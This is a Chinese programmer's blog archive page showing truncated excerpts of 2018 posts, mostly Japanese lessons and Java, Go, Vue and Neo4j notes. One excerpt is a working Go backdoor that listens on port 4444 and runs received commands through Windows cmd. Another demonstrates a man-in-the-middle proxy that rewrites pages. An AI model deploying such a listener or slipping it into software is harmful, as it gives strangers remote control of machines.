博文

目前显示的是 2018的博文

简单理解区块链知识

package com.redis.testRedis; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import com.alibaba.fastjson.JSON; public class BlockChain { public static void main(String[] args) { List blockChainList = new ArrayList(); Block genesis = new Block("BlockChain", 0); blockChainList.add(genesis); Block helloBlock = new Block("Hello", blockChainList.get(blockChainList.size()-1).getHash()); blockChainList.add(helloBlock); Block worldBlock = new Block("World", blockChainList.get(blockChainList.size()-1).getHash()); blockChainList.add(worldBlock); Block dZoneBlock = new Block("DZone", blockChainList.get(blockChainList.size()-1).getHash()); blockChainList.add(dZoneBlock); System.out.println("---------------------"); System.out.println("- BlockChain -"); System.out.println("---------------------&

第十二課ー李さんは森さんより若いです

一、主题与基准对象相比,更具有某一特性时的句型:  【名词】は【名词】より【一类形容词/二类形容词】です。 二、与基准对象相比,主题更具有某一特性时的句型。 「名词1」より「名词2」の ほうが 「一类形容词/二类形容词」 です。 三、主题就某一特性与基准对象比较,比基准对象略逊一筹时的句型。 「名词1」は「名词2」ほど「一类形容词」くないです。                         「二类形容词」ではありません。 四、在某个范围内的所有对象里,主题最具有某一特性的句型。 「 名词1」の中で「名词2」が一番「一类形容词」                             「二类形容词」 中国の料理の中で広東省の料理が一番美味しいです。 五、在两个对象当中,询问哪个对象更具某一特性时的句型。 「 名词1」と「名词2」とどちらが「一类形容词」。                  「二类形容词」ですか。 日本語と英語とどちらが難しいですか。 日本語のほうが難しいです。 六、在三个及三个以上对象中,询问哪个对象最具有某一特性时的句型。 「名词1」のなかでどの「名词2」「どれ、だれ、なにが、いちばん」「一类形容词」/「二类形容词」です 七、练习 森さんはテニスが上手ですね。 いいえ、長島さん ほど 上手ではありません。 #比前面的对象略逊一筹 季節の中でいつが一番好きですか。 私は春が一番好きです。 八、各地城市读音 札幌 さっぽろ  名古屋 なごや   広島 ひろしま 仙台 せんだい  金沢  かなざわ  高知 こうち 新潟 にいがた  京都  きょうと  長崎 ながさき 東京 とうきょう 大阪  おおさか  福岡 ふくおか 横浜 よこはま  神戸  こうべ   那覇 なは 东京主要地名 東京  とうきょう  霞ヶ関 かすみがせき  渋谷 しぶや 秋葉原 はきはばら  新宿  しんじゅく   池袋 いけぶくろ 上野  うえの    銀座  ぎんざ     品川 しながわ 中国主要城市 大連  だいれん    重慶 じゅうけい 天津  てんしん    成都 せいと    桂林 けいりん 北京  ぺきん     南京 ナンキン  

我是如何通过一 条SQL查出分页数据和总页数的

package org.http; import java.io.IOException; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.log4j.Logger; import org.utils.DB; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; /** * 获取cz xx rk个人信息 * @author test */ public class API extends HttpServlet { private static final long serialVersionUID = 1L; private static Logger log = Logger.getLogger(API.class); protected void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { log.info("获取常住人口个人详细信息. " + req.getRemoteHost()); //最终返回的数据对象 JSONObject result = new JSONObject(); String sql = " SELECT SQL_CALC_FOUND_ROWS * from populace WHERE 1=1 limit ?,? ";

第十一课-小野さんのは歌が好きです

一、表达情感的形容词句型 「名词1」は「名词2」が「一类形容词/二类形容词」です。 王さんは肉が嫌いです。 林さんは犬が怖いです。 二、表达能力的动词句型和形容词句型 「名词1」は「名词2」が「动词」ます/「形容词」です。 私はコンピュータができません。 小野さんは料理が上手です。 三、在众多项目中列举其中几项的句型 「名词」や「名词」など 四、说明原因、理由的助词「 から 」 寒いですから。窓を閉めます。 五、表示频率的副词 いつも よく ときどき たまに あまり〜ません ぜんぜん〜ません 六、其它词 なから 小野さんは野菜が好きません。 だから 、あまり野菜を食べません。 明日は休みです、 ですから 、子供と動物園へ行きます。 吉田さんは料理ができますか。 いいえ、全然できません。

第十课-京都の紅葉は有名です

一、二类形容词的概念 有名 静か 便利 元気 好き 静かな通り。 //二类形容词形容名词,要用【 な 】 有名 有名でした 京都の人形は有名です。//一般形式 この通りは静かです。//一般形式 この町はにぎやかでした。//过去形式 京都の人形は有名ではありません。//否定形式 京都の人形は有名ではありませんでした。 //过去否定形式 大阪はにぎやかですか。 昨日は暇じゃありませんでした。 静かな通り。 奈良は静かな町です。 奈良はにぎやかな町ではありません。 李さんは元気な方です。 一昨日は休みでした。 昨日は曇りじゃではありませんでした。 どんなお土産を買いましたか。 綺麗な人形を買いました。 京都はどうでしたか。 とても綺麗です。 でも、静かてはありませんでした。 日本語の勉強はどうでしたか。 面白いですね。 昨日の試験はどうでしたか。 簡単でしたか。 二、二类形容词做谓语时的 判断形式、否定形式、过去形式、过去否定形式 三、二类形容词修饰名词的方法 【二类形容词】+【な】+【名词】 四、名词做谓语时的过去形式,过去否定形式

第九课-四川料理が辛いです

一、一类形容词的概念 辛い  熱い  楽しい  広い 二、一类形容词做谓语时的判断形式(否定形式、过去形式、过去否定形式) 三、一类形容词修饰名词的方法 四、表示程度的副词 とても  少しい  あまり たいへん  ちょうと あまりません 一点 ぜんぜんません 根本不 五、一类形容词: 形容词分为一类形容词和二类形容词。 一类形容词以 「い」 结尾 形容词不发生变化的部分称为词干,形容词发生变化的部分称为词尾。 一类形容词否定形式    あつ「 い 」+「 く 」+「ない」  或者  あつ「 い 」+「 く 」+「ありません」 「いい」的口语形式是「良い」、变化时要按照「良い」的规则变化。 「いい」的否定形式时「よく ない」 「いいです」的否定形式是「よく ないです」 或  「よく ありません」 过去形式: 「たのし い 」+「かった」+「です」=「たのし かったです」 过去否定形式 「さむ い 」+「く」+「なかったです」= 「寒くなかったです」  或者 「さむ い 」+「く」+「ありませんでした」 = 「寒くありませんでした」 「いい」的过去形式是「よかったです」 「いい」「よくなかったです」   或 「よくありませんでした」 寒くなかったです。 现在形式 美味しいです。 现在否定形式 美味しくないです。 过去形式 美味しかったです。 过去否定形式 美味しくなかったです。 狭い 狭くない。 狭かった。 狭くなかった。 四川料理は美味しいです。 このスープは冷たいです。 このお茶は熱いです。 このスープは暑くありません。 今日は寒くないです。 この部屋は広くありません。 この部屋は広くない。 寒くなっかたです。 寒くありませんでした。 美味しかったです。 よくありませんでした。 天安門へ行きましたか。 たくさん 公園にたくさんの人がいます。 公園に多い人がいます。【这句是错误的】 公園にたくさんの人がいます。 暑くないですか。 ちょうどいいですね。 素晴らしい眺めですね。 寒い。 寒くない。 寒かった。 寒くなかった。 楽しい。 楽しくない。 楽しかった。

第八课-李さんは日本語で手紙を書きます

1、で 方法、交通工具、手段、场所 2、物品的收受关系  あげます もらいます 部屋にパソコンでプログラムを作りました。 何でうどんを作りますか。 少女は星野さんに心をあげます。 私は星野さんにパソコンをあげました。 李さんは森さんに携帯電話をあげます。 李さんは星野さんに花をもらいました。 森さんは李さんから辞書をもらいました。 私は駅で李さんに会いました。 昨日、李さんに誕生日のプレゼントを送りました。 昨日、私は誕生日のプレゼント李さんに送りました。 何で送りましたか? 航空便で送ります。 あなたは誰にあげますか? 私は李さんにあげます。 森さんは映画のチケットを李さんにあげます。 3、见到某人时用到的助词 に 誰にパンをもらいましたか。 誰にそのパソコンをもらいましたか。 李さんからもらいました。 すみません、李さんはいますか。 もう帰りましたよ。 私は中島さんの電話をもらいませんでした。 もうファックスで送りましたよ。 いつですか。 もう一度送りますか? 私はメールで送りました。 わかりました。 たった今、李さんにメールをもらいました。 ファックスは届きましたか。 前に李さんからもらいました。 写真集。 ありがとうございます。

Vue Javascript 学习

var app = new Vue({ el: '#div1', data: { seen: true } }) var app4 = new Vue({ el: '#app-4', data: { todos: [ { text: 'learn JavaScript' }, { text: 'learn Vue' }, { text: 'good project' } ] } }) var app5 = new Vue({ el: '#app5', data: { message:'Come on, Test It.' }, methods: { testClick : function() { alert(1) } } }); var app6 = new Vue({ el: '#app6', data: { message: '' }, created: function() { console.log(" message is :" + this.message) } }); var app7 = new Vue({ el: "#app7", data: { rawHtml : " link " } }) var app8 = new Vue({ el: '#app8', data: { names: [] } }) var app9 = new Vue({ el: '#app9', data: { country : 'USA' } }); var app10 = new Vue({ el: '#app10', created: function (){ setInterval("app10.initTime()", 1000) }, data : { hours: new Date(

标准日本语-吉田さんは来月中国へ行きます

一、名词【场所】 へ 【动词】 例如: 中国へ行きます。 去中国了。 日本へ帰ります。 回日本了。 どこへ行きますか? 去哪里了? 二、名词【场所】から 【动词】 移动的起点用助词“から”表示 例如: 北京から来ました。 从北京来。 どこから来ました? 从哪里来的?《已经发生过》 どこから帰りました? 从哪里回去的?《已经发生过》 三、と 共同做某事的对象用助词“と”表示 例如: 小野さん は 友達と 帰りました。 李さん は だれと 日本へ来ました。 四、で 交通手段用助词“ で ”表示 例如: シャンハイまで飛行機でいきます。 僕は飛行機で家へ帰りました。 五、名词【场所】から 名词【场所】まで 动词 表示移动的范围,范围起点用“から”,范围的终点用“まで” 例如: 森さんは東京から広島まで新幹線で行きます。 李さんは駅からアパートまで歩いて帰ります。 星野さんは病院から銀行まで飛行機で来ます。 六、(に、で、へ、から、まで、と、 )  + は 复合形式 私の部屋 には 電話があります。 韓国 へは 行きました。中国 へは 行きませんでした。 七、日期 十月 日曜日 月曜日 火曜日 水曜日 木曜日 金曜日 土曜日 一日 ついたち 二日 ふつか 三日 みっか 四日 よっか 五日 いつか 六日 むいか 七日 なのか 八日 ようか 九日 ここのか 十日 とおか 十一日 じゅうにちにち 十二日 じゅうににち 十三日 じゅうさんにち 十四日 じゅうよっか 十五日 じゅうごにち 十六日 じゅうろくにち 十七日 じゅうしちにち 十八日 じゅうはちにち 十九日 じゅうくにち 二十日 はつか 二十一日 にじゅういちにち 二十二日 にじゅうににち 二十四日 にじゅうよっか 二十五日 にじゅうごにち 二十六

标准日本语-森さんは七時に起きます

一、星期的标识方法 月曜日 げつようび 火曜日 かようび 水曜日 すいようび 木曜日 もくようび 金曜日 きんようび 土曜日 どようび 日曜日 にちようび 二、【小时】读法 いちじ にじ さんじ よじ ごじ ろくじ しちじ はちじ くじ じゅうじ じゅういちじ じゅうにじ れいじ なんじ 二、【分钟】读法 いっぷん よんぷん ななふん じゅっぷん にふん ごふん はっぷん じゅういっぷん さんぷん ろっぷん きゅうふん じゅうごふん さんじゅっぷん、はん よんじゅうごふん なんぷん 1、3、4、6、8、10 读 ぷん 2、5、7,9 读 ふん 8:55 八時五十五分 はちじごじゅっごふん 8:56 八時五十六分 はちじごじゅっろっぷん 8:57 八時五十七分 はちじごじゅっななふん 8:58 八時五十八分 はちじごじゅっはっぷん 8:59 八時五十九分 はちじごじゅっきゅうふん 9:00 九時 くじ 9:01 九時一分 くじいっぷん 9:02 九時二分 くじにふん 9:03 九時三分 くじさんぷん 9:04 九時四分 くじよんぷん 9:05 九時五分 くじごふん 9:06 九時六分 くじろっぷん 9:07 九時七分 くじななふん 9:08 九時八分 くじはっぷん 9:09 九時九分 くじきゅうふん 9:10 九時十分 くじじゅっぷん 9:11 九時十一分 くじゅっいっぷん 9:12 九時十二分 くじじゅっにふん 9:13 九時十三分 くじじゅっさんぷん 今何時ですか? シミシさんは毎日七時五十五分に働きます。 森さんは七時起きます。 昨日は働きませんでした。 森さんは昨日九時から六時まで働きました。

标准日本语-第四课

语法解释 一:那里有什么东西 「名词」に「名词」があります。【无意志的,例如:书包,茶杯,书】 「名词」に「名词」がいます。【有意志的,例如:猫,狗,鱼等存在生命】 例如: パソコンの下に携帯があります。 机の上に猫がいます。 二:什么什么在哪里 「名词」は「名词」 にあります。 「名词」は「名词」 にいます。 例如: 銀行はあちらにあります。 小野さんは公園にいます。 三:名词并列 使用关键字:と 例如: 箱と地図 【箱子和地图】 コートと服 【大衣和衣服】 四:上下左右后面 うえ 上 上面 した 下    下面 まえ 前     前面 うしろ 後ろ    后面 となり 隣    旁边 なか 中    中间 そと 外    外面 例如: 机の上に猫がいます。 会社の隣に花やがあります。 犬は箱の外にいます。 五:ね确认 あそこに犬がいますね。 这里有一只狗啊。 こちらは猫がいますね。 这里有一只猫啊。 駅の前に銀行がありますね。 车站的前面有银行啊。 六:疑问词+も+动词【否定】 教室に誰もいません。 教室里面没有人。 コンビにに何もありませ。 便利店里什么也没有。

Golang 监听 FTP 下载文件

import ( "github.com/magiconair/properties" "github.com/CrowdSurge/banner" ftp "github.com/jlaffaye/ftp" "fmt" "time" "math/rand" "io/ioutil" "log" "os" "strconv" "path/filepath" ) var syncInteval int64 var checkRemoteDir string var remoteFtpAddress string var remoteFtpUserName string var remoteFtpUserPass string var remoteFtpFolder string const ( LACK_PROPERTIES_CFG = "缺少配置参数,请检查 config.properties 文件" REMOTE_FTP_CANT_CONN = "无法连接远程 FTP 服务器" ACCOUNT_OR_PASSWORD_ERROR = "FTP 账户或密码错误" CANT_FOUND_DIRECTORY = "找不到 FTP 目录" REMOVE_FILE_ERROR = "无法删除文件,请检查权限" FTP_UPLOAD_ERROR = "上传失败, 请检查远程 FTP 服务" ) func showBannner() { b := [6] string {"test", "who am i", "great programming", "not bug!", "not smoking!"} banner.Print(b[RandRangInt64(0,int64(len(

Golang 服务监听保存文件

package main import ( "github.com/magiconair/properties" "github.com/CrowdSurge/banner" "net/http" "encoding/json" "fmt" "path/filepath" "log" "os" "math/rand" "time" ) const ( PARAMETER_NOT_EMPTY = "必要参数不能为空!" ERROR_DATE_FORMAT = "错误的日期格式!" UPLOAD_SUCCESS = "上传成功!" SERVICE_START_SUCCESS = "服务启动成功!" ) type StatusMessage struct { Name string Code string Desc string } var savePath string func RandInt64(min, max int64) int64 { rand.Seed(time.Now().UnixNano()) return min + rand.Int63n(max-min) } func showTip() { b := [6] string {"test", "who am i", "great programming", "not bug", "not smoking"} banner.Print(b[RandInt64(0,int64(len(b)))]) for i:=0;i<5 1="" :="json.Marshal(StatusMessage{UPLOAD_SUCCESS," _="" api="" b="&qu

Golang 转 XML 到数组的操作方法

package main import ( xl "github.com/basgys/goxml2json" "github.com/tidwall/gjson" "strings" "log" "fmt" ) var t =`<datas><data><id>1</id><xm>cs</xm></data><datas>` func main() { buff, error := xl.Convert(strings.NewReader(t)) checkError(error) r := gjson.Parse(buff.String()) fmt.Println(r.Get("datas").String()) } func checkError(err error) { if(err != nil) { log.Fatal(err) } } 如上xml,如果 datas 里存在多个数组 data,是可用的。

Golang Windows CMD BackDoor

package main import ( "net" "bufio" "os/exec" "fmt" ) const ( TYPE = "tcp" ADDRESS = "0.0.0.0:4444") func main() { l, err := net.Listen(TYPE, ADDRESS) checkErr(err) defer l.Close() for ;true;{ conn, err := l.Accept(); checkErr(err) go handleRequest(conn) } } func handleRequest(conn net.Conn) { scanner := bufio.NewScanner(conn); for { recv := scanner.Scan() command := scanner.Text(); if !recv || "exit" == command { break; } cmd, err := exec.Command("cmd", "/C " + command).Output() if(err!= nil) { conn.Write([]byte(err.Error()+ "\r\n") ) } else { conn.Write(cmd); } checkErr(err); conn.Write([]byte("---------------------------------------------\r\n")); conn.Write([]byte("\r\n")); }

新标日-初级第三课

一、指示场所的代词 1、ここ 2、そこ 3、あそこ 礼貌说法是 あちら 4、どこ 5、いくら 询问价格的疑问词 二、名词存在某一场所的表达形式 【名词】は【名词场所】です 三、表示提示的助词- も 的用法 四、答案有多种情况,而询问其中一种中的句型 【名词】は【名词】ですか、【名词】ですか。 五、代词分类 分类 こ そ あ ど 事、物 これ それ あれ どれ 修饰名词 この その あの どの 场所 ここ そこ あそこ どこ 场所、方向 こちら そちら あちら どちら 六、100以上的数字表示方法 100 ひゃく 200 にひゃく 300 さんびゃく 400 よんひゃく 500 ごひゃく 600 ろっぴゃく 700 ななひゃく 800 はっぴゃく 900 きゅうひゃく 1000 せん 2000 にせん 3000 さんぜん 4000 よんせん 5000 ごせん 6000 ろくせん 7000 ななせん 8000 はっせん 9000 きゅうせん 10000 いちまん【一万】 100000 じゅうまん【十万】 1000000 ひゃくまん【一百万】 10000000 いっせんまん【一千万】 100000000 いちおく【一亿】

Golang 反向代理 Http 服务器,并修改服务器的 html

图片
如下图所示,在代理服务器层伪造消息。 这种是一种非常简单的中间人攻击   package main import ( "bytes" "io/ioutil" "net/http" "net/http/httputil" "net/url" "strconv" ) type transport struct { http.RoundTripper } func (t *transport) RoundTrip(req *http.Request) (resp *http.Response, err error) { resp, err = t.RoundTripper.RoundTrip(req) if err != nil { return nil, err } b, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, err } err = resp.Body.Close() if err != nil { return nil, err } b = bytes.Replace(b, []byte("Fedora"), []byte("hello this is replace content"), -1) body := ioutil.NopCloser(bytes.NewReader(b)) resp.Body = body resp.ContentLength = int64(len(b)) resp.Header.Set("Content-Length", strconv.Itoa(len(b))) return resp, nil } var _ http.RoundTripper = &transport{} func main() { target, err := url.Parse("http://35.201.172.1/") if err != nil { panic(err) }

Centos7开机启动自己的脚本_转载

在centos7中,/etc/rc.d/rc.local文件的权限被降低了,开机的时候执行在自己的脚本是不能起动一些服务的,执行下面的命令可以文件标记为可执行的文件 chmod +x /etc/rc.d/rc.local 打开/etc/rc.d/rc.local文件,在最后面添加如下脚本 /data/tomcat-medicine-p81/bin/startup.sh 转载自:http://www.voidcn.com/article/p-wbtebqjg-gt.html 感谢大神的无私奉献,谢谢。

CentOS7 创建分区并开机启动_转载

CentOS格式化新硬盘并设置开机自动挂载   服务器上加了一块新硬盘,在/dev/下只能看到一个sdb的设备。 于是要分区、创建文件系统、设置开机自动挂载,过程如下: 1、创建分区 用parted命令分区: [plain] view plaincopy                           # parted /dev/sdb   (parted) mktable gpt   (parted) mkpart data 1024KiB -1   (parted print)   parted之后的参数是设备名。mkpart命令的三个参数分别是分区名(随便起),开始地址,结束地址(-1表示块设备末尾),前面留出的空间可能是用于存放分区信息,不留的时候会有警告。print查看分区结果 2、格式化分区 创建分区之后,出现了/dev/sdb1分区。使用mkfs命令格式化分区: [plain] view plaincopy                           # mkfs /dev/sdb1 ext4   3、设置开机挂载 修改/etc/fstab文件,在末尾加上一行: [plain] view plaincopy                           /dev/sdb1               /data                   ext4    defaults        0 0   各字段分别是分区,挂载点,文件格式,挂载参数。后两个一般用0 0 重启,看看是否设置成功。 文章拷贝自【出处 http://blog.csdn.net/bhq2010/article/details/9238997 】 感谢大神的无私奉献。

新标日-初级第二课

一、指示事物的代词 1、これ       距离说话人近,听话人比较远的事物 2、それ       距离听话人较近,说话人比较远的事物 3、あれ       距离说话人和听话人都比较远的事物 4、どれ       是在3个或3个以上的事物中不能确定是哪一个 5、どの    当不能确定是哪一个时可以用这个表示 6、だれ       一般用于人物,谁,一般用于单个人,那个人是谁? 7、どなた「かた(方)」       哪位,一般表示人,比较礼貌 8、いくつ      数量的疑问词。 二、どれ 和 どの 的区别 どれ 和 どの 的区别就是 どの 后面要加一个名词,而どれ 可以单独使用 例子 : どのスマホが藤浦さんのスマホですか。 // 哪个手机时 藤浦先生的手机 どれが藤浦さんのスマホですか。//哪个是藤浦先生的手机 この、あの、その 表示所谓的物体位置远近和 これ、それ、あれ 相同 三、分类整理 分类 近称 中称 远称 不定称 事物 これ それ あれ どれ 指示 この その あの どの 四、一百以内数字的说法 0    れい/ぜろ 1    いち 2    に 3    さん 4    よん/し 5    ご 6    ろく 7    しち/なな 8    はち 9    く/きゅう 10   じゅう 11    じゅういち 12    じゅうに 13    じゅうさん 14    じゅうよん 15    じゅうご 16    じゅうろく 17    じゅうしち/じゅうなな 18    じゅうはち 19    じゅうく/じゅうきゅう 20    にじゅう 30 さんじゅう 40 よんじゅう 50 ごじゅう 60 ろくじゅう 70 ななじゅう 80 はちじゅう 90 きゅうじゅう 100 ひゃく 0.1 れい てん いち 2/3 さんぶんのに 小数点的读法是 てん 几分之几的刚是 ぶん 五、称谓 汉语称谓 自己的亲属 别人的亲属 祖父/外公 そふ「祖父」 おじいさん「

新标日-初级第一课

一、名词句          【名词】 は 【名词】 です 二、名字句的否定形式          【名词】 は 【名词】 ではありません 三、名词句的疑问形式及问答        【名词】 は 【名词】 ですか 四、连接名词,表示事物从属关系的助词”の”        【名词】 の 【名词】 五、不知道问题的回答        分かりません 六、非常抱歉        どうもすみません

Neo4j 常用查询命令

1、删除节点标记 MATCH (n {}) REMOVE n:Database RETURN n MATCH (n { name: '*' }) DETACH DELETE n 2、删除关系类型 MATCH (n { name: 'Andres' }) DETACH DELETE n 3、删除所有节点和关系 MATCH (n) DETACH DELETE n CREATE (w1:WeiWen { name: 'W1-syy'}) CREATE (w2:WeiWen { name: 'W2-lyy'}) CREATE (w3:WeiWen { name: 'W3-gzr'}) CREATE (w4:WeiWen { name: 'W4-lxm'}) CREATE (w5:WeiWen { name: 'W5-zjl'}) CREATE (w6:WeiWen { name: 'W6-zjj'}) CREATE (w1:WeiWen)-[:Call { number: 5, name:'维稳' }]->(w2:WeiWen); CREATE (w2)-[:Call { number: 5, name:'维稳' }]->(w4) CREATE (w3)-[:Call { number: 1, name:'维稳' }]->(w4) CREATE (w5)-[:Call { number: 1, name:'维稳' }]->(w2) CREATE (w6)-[:Call { number: 1, name:'维稳' }]->(w1) MATCH (a:WeiWen),(b:WeiWen) WHERE a.name = 'W1-sy' AND b.name = 'W5-zjl' CREATE (a)-[r:Call]->(b) RETURN MATCH (a:WeiWen),(b:WeiWen) WHERE a.